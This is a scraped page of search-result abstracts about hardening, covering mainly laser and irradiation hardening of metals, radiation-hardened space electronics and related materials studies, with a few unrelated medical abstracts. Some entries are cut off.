spatial reference memory. PMID:26058840 5. Laser quench hardening of steel: Effects of superimposed elastic pre-stress on the hardness and residual stress distribution Science.gov (United States) Meserve, Justin Cold drawn AISI 4140 beams were LASER surface hardened with a 2 kW CO2 LASER. Specimens were treated in the free state and while restrained in a bending fixture inducing surface tensile stresses of 94 and 230 MPa. Knoop hardness indentation was used to evaluate the through thickness hardness distribution, and a layer removal methodology was used to evaluate the residual stress distribution. Results showed the maximum surface hardness attained was not affected by pre-stress during hardening, and ranged from 513 to 676 kg/mm2. The depth of effective hardening varied at different magnitudes of pre-stress, but did not vary proportionately to the pre-stress. The surface residual stress, coinciding with the maximum compressive residual stress, increased as pre-stress was increased, from 1040 MPa for the nominally treated specimens to 1270 MPa for specimens pre-stressed to 230 MPa. The maximum tensile residual stress observed in the specimens decreased from 1060 MPa in the nominally treated specimens to 760 MPa for specimens pre-stressed to 230 MPa. Similarly, thickness of the compressive residual stress region increased and the depth at which maximum tensile residual stress occurred increased as the pre-stress during treatment was increased Overall, application of tensile elastic pre-stress during LASER hardening is beneficial to the development of compressive residual stress in AISI 4140, with minimal impact to the hardness attained from the treatment. The newly developed approach for LASER hardening may support efforts to increase both the wear and fatigue resistance of parts made from hardenable steels. 6. Latex content and biomass increase in Mycorrhizal guayule (Parthenium argentatum) under field conditions Energy Technology Data Exchange (ETDEWEB) Bloss, H.E.; Pfeiffer, C.M. 1984-01-01 Guayule seedlings were inoculated with two Glomus species in pasteurised soil and grown in the glasshouse without added fertilizer for 8 weeks prior to transplanting to the field. The survival rate of transplanted guayule seedlings was increased by inoculation with vesicular arbuscular mycorrhizal fungi compared wtih uninoculated controls. Inoculated guayule had greater concentrations of Ca, Fe, Mg and Mn at six months of age, and greater concentrations of Ca, Mg, and Zn at 12 months of age than did uninoculated plants. The latex content of both roots and shoots of guayule was greater in inoculated than in uninoculated guayule plants at 12 and 18 months of age. The resin content remained unchanged between treatments irrespective of sampling date. 7. Mild neonatal hyperthyrotrophinaemia: 10-year experience suggests the condition is increasingly common but often transient. Science.gov (United States) Oren, Asaf; Wang, Michael K; Brnjac, Lori; Mahmud, Farid H; Palmert, Mark R 2013-12-01 To examine a large population of infants with mild neonatal hyperthyrotrophinaemia (MNH) and determine prevalence, clinical characteristics and treatment history. Retrospective study of infants with MNH followed at The Hospital for Sick Children between 2000 and 2011. MNH was defined by an abnormal newborn screen followed by thyroid-stimulating hormone (TSH) between 5 and 30 mU/l and normal free T4 (FT4) on confirmatory tests. Mild neonatal hyperthyrotrophinaemia represented 22·3% of patients (103/462; 60 boys, 43 girls) within our clinic. Incidence increased from two of 20 in 2000 to 31 of 74 cases in 2010. Seventy eight percent of patients started L-thyroxine (initial dose: 8·3 ± 2·5 mcg/kg). The treated group had higher confirmatory TSH levels (P = 0·001) and had undergone thyroid scintigraphy more often (P = 0·0001) compared with the nontreated group. Evidence of overtreatment was detected in 45% of thyroid function tests obtained during treatment. Among the treated infants who had reached 3 years of age, 45% (N = 14) underwent a trial-off medication. Compared with those not trialled-off therapy, these infants were less likely to have had dose escalations during treatment (P = 0·001). The trial-off treatment was successful in 50% of cases. In the subset of infants with confirmatory TSH >10 mU/l, trial-off therapy was successful in 40%. None of the assessed variables predicted success of trial-off therapy. Mild neonatal hyperthyrotrophinaemia is an increasingly common diagnosis. It is more common in males and is often transient, but predictors of success of trial-off therapy were not identified. Further studies are needed to determine optimum L-thyroxine dosing and to determine whether treatment improves neurocognitive outcomes. © 2013 John Wiley & Sons Ltd. 8. Optimal rate of power increase in nuclear fuel. Pellet behaviour under dynamic conditions International Nuclear Information System (INIS) Karlsson, B.G. 1976-05-01 A mathematical model has been worked out for the determination of the optium power escalation rate for nuclear power plants from the view-pint of fuel integrity. The model calculates the stress and strain transients in the pellet-cladding system with rapid power increase. No burnup effects are included due to the short time scale involved. An elastic solution has been transposed to a linear viscoelastic one using the correspondence principle. The cladding has however been treated under the programme assumptions as purely elastic. The fuel material has been assumed to be completely relaxed prior to the power transient. Radial cracking is included. The UO 2 -material distortion has been assumed to be linear viscoelastic, while the dilation is assumed as elastic. The system has been treated assuming plane strain since friction between the pellet and the cladding is large with practical burnsups, and the pellet column can be regarded as infinitely long, compared to the diameter of the pellet. The results of the calculations made show that under the above assumptions the clad stress is independent of the rate of power increase in the pellet. Scince this result is in opposition to general opinion an experimental programme was performed in order to test the results of the model. These results were confirmed. The occurance of clad failures in practice is not determined purely by clad straining. Current thought pays attention to the influence of e.g. stress-corrosion phenomena as significant. The programme reported here pays no attention such-like effects, or the effects of clad creep which could be of considerable significance with local deformations. These later effects are receiving attention in work now being initiated at the Department.(author) 9. Study on mechanism of intergranular stress corrosion cracking and analysis of residual stress and work hardening in welds of low-carbon austenitic stainless steel with hard surface machining International Nuclear Information System (INIS) Mori, Hiroaki; Mochizuki, Masahito; Nishimoto, Kazutoshi; Toyoda, Masao; Katsuyama, Jinya 2007-01-01 In order to make clear the effects of residual stress and hardening on intergranular stress corrosion cracking (IGSCC) behavior in the welds of Type 316L low-carbon austenitic stainless steel with surface hardening, the residual stress and hardness in the butt-joint of pipes as a typical example of the actual structure were estimated and the grain boundary sliding was analyzed from the viewpoint of micro-deformation. On the basis of these results, the mechanism of IGSCC was discussed by the integrated knowledge between metallurgy and mechanics. The relationship between plastic strain and hardness in hard-machined surface near welds was clarified from the experimented relationship and the analysis method by the thermal elastic-plastic analysis. The distributions of hardness and residual stress with the actual surface machining could be simulated. It was made clear that grain boundary sliding occurred in the steel at 561K by a constant strain rate tensile test. From the comparison of grain boundary sliding behavior between solution treated specimen and cold-rolled one, it was found that the grain boundary sliding in cold-rolled one occurs in smaller strain conditions than that in as received one, and the amount of grain boundary sliding in cold-rolled one increases remarkably with increases in rolling reduction. In addition, it was clarified that the grain boundary energy is raised by the grain boundary sliding. On the basis of these results, it was concluded that the cause of IGSCC in the welds of Type 316L low-carbon austenitic stainless steel with surface hardening is the increase in grain boundary energy due to grain boundary sliding induced by residual stress of multi pass welding and surface hardening. (author) 10. Increased air temperature during simulated autumn conditions does not increase photosynthetic carbon gain but affects the dissipation of excess energy in seedlings of the evergreen conifer Jack pine. Science.gov (United States) Busch, Florian; Hüner, Norman P A; Ensminger, Ingo 2007-03-01 Temperature and daylength act as environmental signals that determine the length of the growing season in boreal evergreen conifers. Climate change might affect the seasonal development of these trees, as they will experience naturally decreasing daylength during autumn, while at the same time warmer air temperature will maintain photosynthesis and respiration. We characterized the down-regulation of photosynthetic gas exchange and the mechanisms involved in the dissipation of energy in Jack pine (Pinus banksiana) in controlled environments during a simulated summer-autumn transition under natural conditions and conditions with altered air temperature and photoperiod. Using a factorial design, we dissected the effects of daylength and temperature. Control plants were grown at either warm summer conditions with 16-h photoperiod and 22 degrees C or conditions representing a cool autumn with 8 h/7 degrees C. To assess the impact of photoperiod and temperature on photosynthesis and energy dissipation, plants were also grown under either cold summer (16-h photoperiod/7 degrees C) or warm autumn conditions (8-h photoperiod/22 degrees C). Photosynthetic gas exchange was affected by both daylength and temperature. Assimilation and respiration rates under warm autumn conditions were only about one-half of the summer values but were similar to values obtained for cold summer and natural autumn treatments. In contrast, photosynthetic efficiency was largely determined by temperature but not by daylength. Plants of different treatments followed different strategies for dissipating excess energy. Whereas in the warm summer treatment safe dissipation of excess energy was facilitated via zeaxanthin, in all other treatments dissipation of excess energy was facilitated predominantly via increased aggregation of the light-harvesting complex of photosystem II. These differences were accompanied by a lower deepoxidation state and larger amounts of beta-carotene in the warm autumn 11. A Radiation Hardened Housekeeping Slave Node (RH-HKSN) ASIC Data.gov (United States) National Aeronautics and Space Administration — This projects seeks to continue the development of the Radiation Hardened Housekeeping Slave Node (RH-HKSN) ASIC. The effort has taken parallel paths by implementing... 12. Stress corrosion cracking evaluation of precipitation-hardening stainless steel Science.gov (United States) Humphries, T. S.; Nelson, E. E. 1970-01-01 Accelerated test program results show which precipitation hardening stainless steels are resistant to stress corrosion cracking. In certain cases stress corrosion susceptibility was found to be associated with the process procedure. 13. Radiation-chemical hardening of phenol-formaldehyde oligomers International Nuclear Information System (INIS) Shlapatskaya, V.V.; Omel'chenko, S.I. 1978-01-01 Radiation-chemical hardening of phenol formaldehyde oligomers of the resol type has been studied in the presence of furfural and diallylphthalate diluents. The samples have been hardened on an electron accelerator at an electron energy of 1.0-1.1 MeV and a dose rate of 2-3 Mrad/s. The kinetics of hardening has been studied on the yield of gel fraction within the range of absorbed doses from 7 to 400 Mrad. Radiation-chemical hardening of the studied compositions is activated with sensitizers, namely, amines, metal chlorides, and heterocyclic derivatives of metals. Furfural and diallylphthalate compositions are suitable for forming glass-fibre plastic items by the wet method and coatings under the action of ionizing radiations 14. Technologies Enabling Custom Radiation-Hardened Component Development, Phase I Data.gov (United States) National Aeronautics and Space Administration — Two primary paths are available for the creation of a Rad-Hard ASIC. The first approach is to use a radiation hardened process such as existing Rad-Hard foundries.... African Journals Online (AJOL) eobe System hardening is a defence strategy, where several different security measures are applied at various layers, all of which .... commerce have tremendously imparted on corporate services ..... Technology and Exploring Engineering, Vol. 2,. 16. Space Qualified, Radiation Hardened, Dense Monolithic Flash Memory, Phase I Data.gov (United States) National Aeronautics and Space Administration — Radiation hardened nonvolatile memories for space is still primarily confined to EEPROM. There is high density effective or cost effective NVM solution available to... 17. Radiation Hardened Ethernet PHY and Switch Fabric, Phase I Data.gov (United States) National Aeronautics and Space Administration — Innoflight will develop a new family of radiation hardened (up to 3 Mrad(Si)), fault-tolerant, high data-rate (up to 8 Gbps), low power Gigabit Ethernet PHY and... 18. Space Qualified, Radiation Hardened, Dense Monolithic Flash Memory, Phase II Data.gov (United States) National Aeronautics and Space Administration — Space Micro proposes to build a radiation hardened by design (RHBD) flash memory, using a modified version of our RH-eDRAM Memory Controller to solve all the single... African Journals Online (AJOL) System Hardening Architecture for Safer Access to Critical Business Data. ... and the threat is growing faster than the potential victims can deal with. ... in this architecture are applied to the host, application, operating system, user, and the ... 20. Progressive Increase in Telomerase Activity From Benign Melanocytic Conditions to Malignant Melanoma Directory of Open Access Journals (Sweden) Ruben D. Ramirez 1999-04-01 Full Text Available The expression of telomerase activity and the in situ localization of the human telomerase RNA component (hTR in melanocytic skin lesions was evaluated in specimens from sixty-three patients. Specimens of melanocytic nevi, primary melanomas and subcutaneous metastases of melanoma were obtained from fifty-eight patients, whereas metastasized lymph nodes were obtained from five patients. Telomerase activity was determined in these specimens by using a Polymerase Chain Reaction—based assay (TRAP. High relative mean telomerase activity levels were detected in metastatic melanoma (subcutaneous metastasess = 54.5, lymph node metastasess = 56.5. Much lower levels were detected in primary melanomas, which increased with advancing levels of tumor cell penetration (Clark II = 0.02, Clark III = 1.1, and Clark IV = 1.9. Twenty-six formalin-fixed, paraffin-embedded melanocytic lesions were sectioned and analyzed for telomerase RNA with a radioactive in situ hybridization assay. In situ hybridization studies with a probe to the template RNA component of telomerase confirmed that expression was almost exclusively confined to tumor cells and not infiltrating lymphocytes. These results indicate that levels of telomerase activity and telomerase RNA in melanocytic lesions correlate well with clinical stage and could potentially assist in the diagnosis of borderline lesions. 1. The irradiation hardening of Ni-Mo-Cr and Ni-W-Cr alloy under Xe26+ ion irradiation Science.gov (United States) Chen, Huaican; Hai, Yang; Liu, Renduo; Jiang, Li; Ye, Xiang-xi; Li, Jianjian; Xue, Wandong; Wang, Wanxia; Tang, Ming; Yan, Long; Yin, Wen; Zhou, Xingtai 2018-04-01 The irradiation hardening of Ni-Mo-Cr and Ni-W-Cr alloy was investigated. 7 MeV Xe26+ ion irradiation was performed at room temperature and 650 °C with peak damage dose from 0.05 to 10 dpa. With the increase of damage dose, the hardness of Ni-Mo-Cr and Ni-W-Cr alloy increases, and reaches saturation at damage dose ≥1 dpa. Moreover, the damage dose dependence of hardness in both alloys can be described by the Makin and Minter's equation, where the effective critical volume of obstacles can be used to represent irradiation hardening resistance of the alloys. Our results also show that Ni-W-Cr alloy has better irradiation hardening resistance than Ni-Mo-Cr alloy. This is ascribed to the fact that the W, instead of Mo in the alloy, can suppress the formation of defects under ion irradiation. 2. DMILL circuits. The hardened electronics decuples its performances International Nuclear Information System (INIS) Anon. 1998-01-01 Thanks to the DMILL (mixed logic-linear hardening) technology under development at the CEA, MHS, a French company specialized in the fabrication of integrated circuits now produces hardened electronic circuits ten times more resistant to radiations than its competitors. Outside the initial market (several thousands of circuits for the LHC particle accelerator of Geneva), a broad choice of applications is opened to this technology: national defense, space, civil nuclear and medical engineering, and high temperature applications. Short paper. (J.S.) 3. Micromilling of hardened tool steel for mould making applications DEFF Research Database (Denmark) Bissacco, Giuliano; Hansen, Hans Nørgaard; De Chiffre, Leonardo 2005-01-01 geometries as those characterizing injection moulding moulds. The realization of the micromilling process in connection with hardened tool steel as workpiece material is particularly challenging. The low strength of the miniaturized end mills implies reduction and accurate control of the chip load which...... wear. This paper presents the micromilling process applied to the manufacturing of micro injection moulding moulds in hardened tool steel, presenting experimental evidence and possible solutions to the above-mentioned issues.... International Nuclear Information System (INIS) Didyk, A.Yu.; Skuratov, V.A.; Mikhajlova, N.Yu.; Regel', V.R. 1988-01-01 The damage dose dependence in the 10 -4 -10 -2 dpa region of radiation hardening of Al, V, Ni, Cu irradiated by xenon ions with 124 MeV energy is investigated using the microhardness technique and transmission electron microscope. It is shown that the pure metals radiation hardening is stimulated for defects clusters with the typical size less than 5 nm, as in the case of neutron and the light charge ion irradiation 5. Food restriction increases acquisition, persistence and drug prime-induced expression of a cocaine-conditioned place preference in rats. Science.gov (United States) Zheng, Danielle; Cabeza de Vaca, Soledad; Carr, Kenneth D 2012-01-01 6. Precipitation hardening of a FeMnC TWIP steel by vanadium carbides International Nuclear Information System (INIS) Chateau, J P; Dumay, A; Jacques, A; Allain, S 2010-01-01 A fine precipitation of spherical vanadium carbides is obtained in a Fe22Mn0.6C base steel during the final recrystallisation heat treatment. Precipitates formed in recrystallised grains have a cube-cube orientation relation with the matrix, confirmed by Moire patterns observed in TEM. The theoretical size for loss of coherency is below the nm, much lower than the precipitates' size. Deformation contrasts were observed around the precipitates and their residual coherency was measured. It was shown to decrease when the carbides' size increases, to vanish above 30 nm. The net increase of the yield stress was estimated to be 140 MPa. Precipitation hardening by vanadium carbides do not alter the strain hardening rate by TWIP effect, as they do not seem to act as obstacles for the propagation of microtwins. 7. Microhardness technique for determination of radiation hardening in austenitic stainless steel using International Nuclear Information System (INIS) Hofman, A. 1995-01-01 The use of microhardness technique to determine the radiation hardening has been studied. Microhardness measurements have been conducted on austenitic stainless steel 0H18N10T irradiated up to 2·10 23 nm -2 . It was determined that the increase in microhardness varies directly with the measured increase in the 0,2% offret yield strength and has been found that microhardness technique may be an effective tool to measurements of radiation induced hardening. Based on the results and Cahoon's relation that σ 0,2 (MPa)=3,27HV(0,1) n method for evaluating the yield stress σ 0,2 by microhardness technique is analyzed. 14 refs., 3 figs., 3 tabs 8. Unusual hardening behaviour in heavily cryo-rolled Cu-Al-Zn alloys during annealing treatment Energy Technology Data Exchange (ETDEWEB) Gong, Y.L. [Faculty of Science, Kunming University of Science and Technology, Kunming 650500 (China); Ren, S.Y. [Ningbo Powerway Alloy Material Co., Ltd, Ningbo 315135 (China); Zeng, S.D. [Yunnan Institute of Measuring and Testing Technology, Kunming 650228 (China); Zhu, X.K., E-mail: [email protected] [Faculty of Materials Science and Engineering, Kunming University of Science and Technology, Kunming 650500 (China) 2016-04-06 Three nanostructured Cu-Al-Zn alloys were produced via rolling at the liquid nitrogen temperature. The deformed Cu alloys were then annealed at 150–300 °C for 1 h. The two alloys with high solute content and thus with low stacking fault energy exhibit unusual annealing hardening, namely, an increase in hardness and strength and a decrease in tensile elongation after annealing at 150 and 200 °C. From X-ray diffraction (XRD) analysis and microstructural observations by transmission electron microscopy (TEM), it is found that microstrain and dislocation density decrease after annealing at 200 °C because of the recovery of dislocations and the lattice parameter decreases due to solute segregation. Meanwhile, the twin density of the two Cu alloys increases and grain size remains basically unchanged. It is shown that the formation of annealing twins and stacking faults and the segregation of solute atoms may be the main causes of unusual annealing hardening. 9. Radiation-hardened bulk Si-gate CMOS microprocessor family International Nuclear Information System (INIS) Stricker, R.E.; Dingwall, A.G.F.; Cohen, S.; Adams, J.R.; Slemmer, W.C. 1979-01-01 RCA and Sandia Laboratories jointly developed a radiation-hardened bulk Si-gate CMOS technology which is used to fabricate the CDP-1800 series microprocessor family. Total dose hardness of 1 x 10 6 rads (Si) and transient upset hardness of 5 x 10 8 rads (Si)/sec with no latch up at any transient level was achieved. Radiation-hardened parts manufactured to date include the CDP-1802 microprocessor, the CDP-1834 ROM, the CDP-1852 8-bit I/O port, the CDP-1856 N-bit 1 of 8 decoder, and the TCC-244 256 x 4 Static RAM. The paper is divided into three parts. In the first section, the basic fundamentals of the non-hardened C 2 L technology used for the CDP-1800 series microprocessor parts is discussed along with the primary reasons for hardening this technology. The second section discusses the major changes in the fabrication sequence that are required to produce radiation-hardened devices. The final section details the electrical performance characteristics of the hardened devices as well as the effects of radiation on device performance. Also included in this section is a discussion of the TCC-244 256 x 4 Static RAM designed jointly by RCA and Sandia Laboratories for this application 10. THE HEAT TREATMENT ANALYSIS OF E110 CASE HARDENING STEEL Directory of Open Access Journals (Sweden) 2016-03-01 Full Text Available This paper investigates mechanical and microstructural behaviour of E110 case hardening steel when subjected to different heat treatment processes including quenching, normalizing and tempering. After heat treatment samples were subjected to mechanical and metallographic analysis and the properties obtained from applying different processes were analysed. The heat treatment process had certain effects on the resultant properties and microstructures obtained for E110 steel which are described in details. Quenching produced a martensitic microstructure characterized by significant increase in material’s hardness and a significant decreased in its impact energy. Annealed specimens produced a coarse pearlitic microstructure with minimal variation in hardness and impact energy. For normalized samples, fine pearlitic microstructure was identified with a moderate increase in hardness and significant reduction in impact energy. Tempering had a significant effect on quenched specimens, with a substantial rise in material ductility and reduction of hardness with increasing tempering temperature. Furthermore, Results provide additional substantiation of temper embrittlement theory for low-carbon alloys, and indicate potential occurrence of temper embrittlement for fine pearlitic microstructures. 11. Increasing incidence of statin prescribing for the elderly without previous cardiovascular conditions: A nation wide register study DEFF Research Database (Denmark) Kildemoes, Helle Wallach; Andersen, Morten Supported by the growing evidence of the beneficial effects of statins in a range of conditions, statin utilization has increased considerably in most Western countries over the last decade. Objectives To estimate to what extent a widening of indication scope for statins accounts for the increasing...... Danish statin utilization during 1996-2005, applying treatment incidence as a measure of changing prescribing behaviour Methods From three nationwide registers, we retrieved individual records on demographics, dispensed prescription drugs and hospital discharges. Danish inhabitants were followed...... for seven cardiovascular conditions, corresponding to a hierarchy of statin indications. Poisson regression analyses were applied to quantify the incidence growth, according to age and indication. Results Treatment incidence increased from 4/1000 person years in 2000 to 17/1000 in 2005, the increase being... 12. Studies of the mechanisms involved in the laser surface hardening process of aluminum base alloys International Nuclear Information System (INIS) Silva, Luciana Ventavele da 2011-01-01 The Al-Si alloys are widely used in industry to replace the steel and gray cast iron in high-tech sectors. The commercial importance of these alloys is mainly due to its low weight, excellent wear (abrasion) and corrosion resistance, high resistance at elevated temperatures, low coefficient of thermal expansion and lesser fuel consumption that provide considerable reduction of emission of pollutants. In this work, Al-Si alloy used in the automotive industry to manufacture pistons of internal combustion engines, was undergone to surface treatments using LASER remelting (Nd:YAG, λ = 1.06 μm, pulsed mode). The LASER enables various energy concentrations with accurate transfer to the material without physical contact. The intense energy transfer causes the occurrence of structural changes in the superficial layer of the material. Experiments with single pulses and trails were conducted under various conditions of LASER processing in order to analyze microstructural changes resulting from treatments and their effects on the hardness. For the characterization of hardened layer was utilized the following techniques: optical microscopy, scanning electron microscopy (SEM), energy dispersive spectroscopy (EDS), x-ray mapping, Vickers microhardness and maximum roughness tests. The high cooling rate caused a change in the alloy structure due to the refinement of the primary eutectic silicon particles, resulting in increase of the mechanical properties (hardness) of the Al-Si alloy. (author) 13. Microstructural evolution at high strain rates in solution-hardened interstitial free steels International Nuclear Information System (INIS) Uenishi, A.; Teodosiu, C.; Nesterova, E.V. 2005-01-01 Comprehensive transmission electron microscopical studies have been conducted for solution-hardened steels deformed at high (1000 s -1 ) and low (0.001 s -1 ) strain rates, in order to clarify the effects of strain rate and a jump in strain rate on the evolution of the microstructure and its connection with the mechanical response. It was revealed that the various types of microstructure, observed even within the same specimen, depend on the corresponding grain orientations and their evolution with progressive deformation depends on these microstructure types. At high strain rates, the dislocation density increases especially at low strains and the onset of dislocation organization is delayed. A jump in strain rate causes an increase of the dislocation density inside an organized structure. These results corroborated the mechanical behaviour at high strain rates after compensation for the cross-sectional reduction and temperature increase. The higher work-hardening rate at high strain rates could be connected to a delay in the dislocation organization. The high work-hardening rate just after a jump could be due to an increase of the density of dislocations distributed uniformly inside an organized structure 14. Improving significantly the failure strain and work hardening response of LPSO-strengthened Mg-Y-Zn-Al alloy via hot extrusion speed control Science.gov (United States) Tan, Xinghe; Chee, Winston; Chan, Jimmy; Kwok, Richard; Gupta, Manoj 2017-07-01 The effect of hot extrusion speed on the microstructure and mechanical properties of MgY1.06Zn0.76Al0.42 (at%) alloy strengthened by the novel long-period stacking ordered (LPSO) phase was systematically investigated. Increase in the speed of extrusion accelerated dynamic recrystallization of α-Mg via particle-stimulated nucleation and grain growth in the alloy. The intensive recrystallization and grain growth events weakened the conventional basal texture and Hall-Petch strengthening in the alloy which led to significant improvement in its failure strain from 4.9% to 19.6%. The critical strengthening contribution from LPSO phase known for attributing high strength to the alloy was observed to be greatly undermined by the parallel competition from texture weakening and the adverse Hall-Petch effect when the alloy was extruded at higher speed. Absence of work hardening interestingly observed in the alloy extruded at lower speed was discussed in terms of its ultra-fine grained microstructure which promoted the condition of steady-state defect density in the alloy; where dislocation annihilation balances out the generation of new dislocations during plastic deformation. One approach to improve work hardening response of the alloy to prevent unstable deformation and abrupt failure in service is to increase the grain diameter in the alloy by judiciously increasing the extrusion speed. 15. The effect of Sc additions on the microstructure and age hardening behaviour of as cast Al–Sc alloys International Nuclear Information System (INIS) Costa, S.; Puga, H.; Barbosa, J.; Pinto, A.M.P. 2012-01-01 Highlights: ► The Sc effect on the microstructure and ageing behaviour of Al–Sc alloys is studied. ► Cast into copper mould allows the elimination of solution heat treatment. ► Directly aged as cast alloys exhibits higher hardness and precipitation kinetics. ► Sc addition and optimised ageing result in an increase in Al–Sc mechanical properties. -- Abstract: The grain refinement effect and the ageing behaviour of Al–0.5 wt.% Sc, Al–0.7 wt.% Sc, and Al–1 wt.% Sc alloys are studied on the basis of optic microscopy (OM), scanning electron microscopy (SEM), X-ray diffraction (XRD) observations and hardness measurements. In Al–Sc alloys the higher grain refinement is observed for Sc contents greater than 0.5 wt.% accompanied by a notorious morphology modification, from coarse columnar grains to a fine perfect equiaxed structure. The as cast structures are characterised by a rich supersaturated solid solution in Sc, that promotes a great age hardening response at 250 °C and 300 °C. The age hardening curves also demonstrate a low overageing kinetics for all the alloys. Although the higher Sc content in solid solution for the alloys with 0.7 and 1 wt.% Sc, the age hardening response of all the Al–Sc alloys remains similar. The direct age hardening response of the as cast Al–0.5 wt.% Sc is shown to be greater than the solutionised and age hardened alloy. 16. Analysis of thermal ratchetting of a cylinder subjected to axially moving temperature front. Effect of kinematic hardening rule International Nuclear Information System (INIS) Ohno, Nobutada; Yari, Takashi; Kobayashi, Mineo 1995-01-01 When a cylinder is subjected to a temperature front moving cyclically in the axial direction, the circumferential plastic strain may accumulate with the increase of the number of cycles. This is a thermal ratchetting problem induced by a liquid surface moving in a cylinder, and it is important especially in designing fast breeder reactors. In the present paper, the effect of kinematic hardening rule on the thermal ratchetting analysis is discussed by implementing the following four kinds of kinematic hardening rules in a finite element analysis; the perfectly plastic model (PP), the linear kinematic hardening rule (LKH), the classical nonlinear kinematic hardening rule of Armstrong and Frederick (AF), and the rule proposed recently by Ohno and Wang (OW). It is shown that disregard of transient hardening after yielding leads to overestimating the thermal ratchetting, that a rule predicting larger mechanical ratchetting under uniaxial cyclic loading makes the thermal ratchetting more serious, and that the Ohno and Wang rule can render the analysis most realistic among them. (author) 17. SEU testing of a novel hardened register implemented using standard CMOS technology International Nuclear Information System (INIS) Monnier, T.; Roche, F.M.; Cosculluela, J.; Velazco, R. 1999-01-01 A novel memory structure, designed to tolerate SEU perturbations, has been implemented in registers and tested. The design was completed using a standard submicron nonradiation hardened CMOS technology. This paper presents the results of heavy ions tests which evidence the noticeable improvement of the SEU-robustness with an increased LET threshold and reduced cross-section, without significant impact to die real estate, write time, or power consumption 18. Softening and re-hardening of hadron transverse mass spectra in relativistic heavy-ion collisions International Nuclear Information System (INIS) Isse, M.; Otuka, N.; Ohnishi, A.; Sahu, P.K.; Nara, Y. 2002-01-01 At RHIC experiments, started at 2000, the data obtained recently seem to exhibit QGP formation, but the conclusion is not drawn yet. Here, we pay out attention to the collective motion at hadronic freeze-out as an evidence of QGP formation. The transverse mass spectra may show softening to re-hardening with increasing incident energy. We compare simulated results obtained in JAM' - a hadronic cascade model - with experimental data, and discuss weather the QGP is formed or not. (author) 19. Simulation of irradiation hardening of Zircaloy within plate-type dispersion nuclear fuel elements Science.gov (United States) Jiang, Yijie; Wang, Qiming; Cui, Yi; Huo, Yongzhong; Ding, Shurong 2011-06-01 20. Simulation of irradiation hardening of Zircaloy within plate-type dispersion nuclear fuel elements Energy Technology Data Exchange (ETDEWEB) Jiang Yijie; Wang Qiming; Cui Yi; Huo Yongzhong [Department of Mechanics and Engineering Science, Fudan University, Shanghai 200433 (China); Ding Shurong, E-mail: [email protected] [Department of Mechanics and Engineering Science, Fudan University, Shanghai 200433 (China) 2011-06-15 1. Extracting material response from simple mechanical tests on hardening-softening-hardening viscoplastic solids Science.gov (United States) Mohan, Nisha Compliant foams are usually characterized by a wide range of desirable mechanical properties. These properties include viscoelasticity at different temperatures, energy absorption, recoverability under cyclic loading, impact resistance, and thermal, electrical, acoustic and radiation-resistance. Some foams contain nano-sized features and are used in small-scale devices. This implies that the characteristic dimensions of foams span multiple length scales, rendering modeling their mechanical properties difficult. Continuum mechanics-based models capture some salient experimental features like the linear elastic regime, followed by non-linear plateau stress regime. However, they lack mesostructural physical details. This makes them incapable of accurately predicting local peaks in stress and strain distributions, which significantly affect the deformation paths. Atomistic methods are capable of capturing the physical origins of deformation at smaller scales, but suffer from impractical computational intensity. Capturing deformation at the so-called meso-scale, which is capable of describing the phenomenon at a continuum level, but with some physical insights, requires developing new theoretical approaches. A fundamental question that motivates the modeling of foams is how to extract the intrinsic material response from simple mechanical test data, such as stress vs. strain response?' A 3D model was developed to simulate the mechanical response of foam-type materials. The novelty of this model includes unique features such as the hardening-softening-hardening material response, strain rate-dependence, and plastically compressible solids with plastic non-normality. Suggestive links from atomistic simulations of foams were borrowed to formulate a physically informed hardening material input function. Motivated by a model that qualitatively captured the response of foam-type vertically aligned carbon nanotube (VACNT) pillars under uniaxial compression [2011,"Analysis of 2. Spectroscopic investigation of Ni speciation in hardened cement paste. Science.gov (United States) Vespa, M; Dähn, R; Grolimund, D; Wieland, E; Scheidegger, A M 2006-04-01 Cement-based materials play an important role in multi-barrier concepts developed worldwide for the safe disposal of hazardous and radioactive wastes. Cement is used to condition and stabilize the waste materials and to construct the engineered barrier systems (container, backfill, and liner materials) of repositories for radioactive waste. In this study, Ni uptake by hardened cement paste has been investigated with the aim of improving our understanding of the immobilization process of heavy metals in cement on the molecular level. X-ray absorption spectroscopy (XAS) coupled with diffuse reflectance spectroscopy (DRS) techniques were used to determine the local environment of Ni in cement systems. The Ni-doped samples were prepared at two different water/cement ratios (0.4, 1.3) and different hydration times (1 hour to 1 year) using a sulfate-resisting Portland cement. The metal loadings and the metal salts added to the system were varied (50 up to 5000 mg/kg; NO3(-), SO4(2-), Cl-). The XAS study showed that for all investigated systems Ni(ll) is predominantly immobilized in a layered double hydroxide (LDH) phase, which was corroborated by DRS measurements. Only a minor extent of Ni(ll) precipitates as Ni-hydroxides (alpha-Ni(OH)2 and beta-Ni(OH)2). This finding suggests that Ni-Al LDH, rather than Ni-hydroxides, is the solubility-limiting phase in the Ni-doped cement system. 3. Surface hardening of two cast irons by friction stir processing International Nuclear Information System (INIS) Fujii, Hidetoshi; Kikuchi, Toshifumi; Nogi, Kiyoshi; Yamaguchi, Yasufumi; Kiguchi, Shoji 2009-01-01 The Friction Stir Processing (FSP) was applied to the surface hardening of cast irons. Flake graphite cast iron (FC300) and nodular graphite cast iron (FCD700) were used to investigate the validity of this method. The matrices of the FC300 and FC700 cast irons are pearlite. The rotary tool is a 25mm diameter cylindrical tool, and the travelling speed was varied between 50 and 150mm/min in order to control the heat input at the constant rotation speed of 900rpm. As a result, it has been clarified that a Vickers hardness of about 700HV is obtained for both cast irons. It is considered that a very fine martensite structure is formed because the FSP generates the heat very locally, and a very high cooling rate is constantly obtained. When a tool without an umbo (probe) is used, the domain in which graphite is crushed and striated is minimized. This leads to obtaining a much harder sample. The hardness change depends on the size of the martensite, which can be controlled by the process conditions, such as the tool traveling speed and the load. Based on these results, it was clarified that the FSP has many advantages for cast irons, such as a higher hardness and lower distortion. As a result, no post surface heat treatment and no post machining are required to obtain the required hardness, while these processes are generally required when using the traditional methods. 4. Influence of Glass Fiber on Fresh and Hardened Properties of Self Compacting Concrete Science.gov (United States) Bharathi Murugan, R.; Haridharan, M. K.; Natarajan, C.; Jayasankar, R. 2017-07-01 The practical need of self-compacting concrete (SCC) is increasing due to increase in the infrastructure competence all over the world. The effective way of increasing the strength of concrete and enhance the behaviour under extreme loading (fire) is the keen interest. Glass fibers were added for five different of volume fractions (0%, 0.1%, 0.3%, 0.5% and 0.6%) to determine the optimum percentage of glass fiber without compensating the fresh properties and enhanced hardened properties of SCC concrete. The fresh state of concrete is characterized by slump flow, T-50cm slump flow, and V-funnel and L- box tests. The results obtained in fresh state are compared with the acceptance criteria of EFNARC specification. Concrete specimens were casted to evaluate the hardened properties such as compressive strength, split 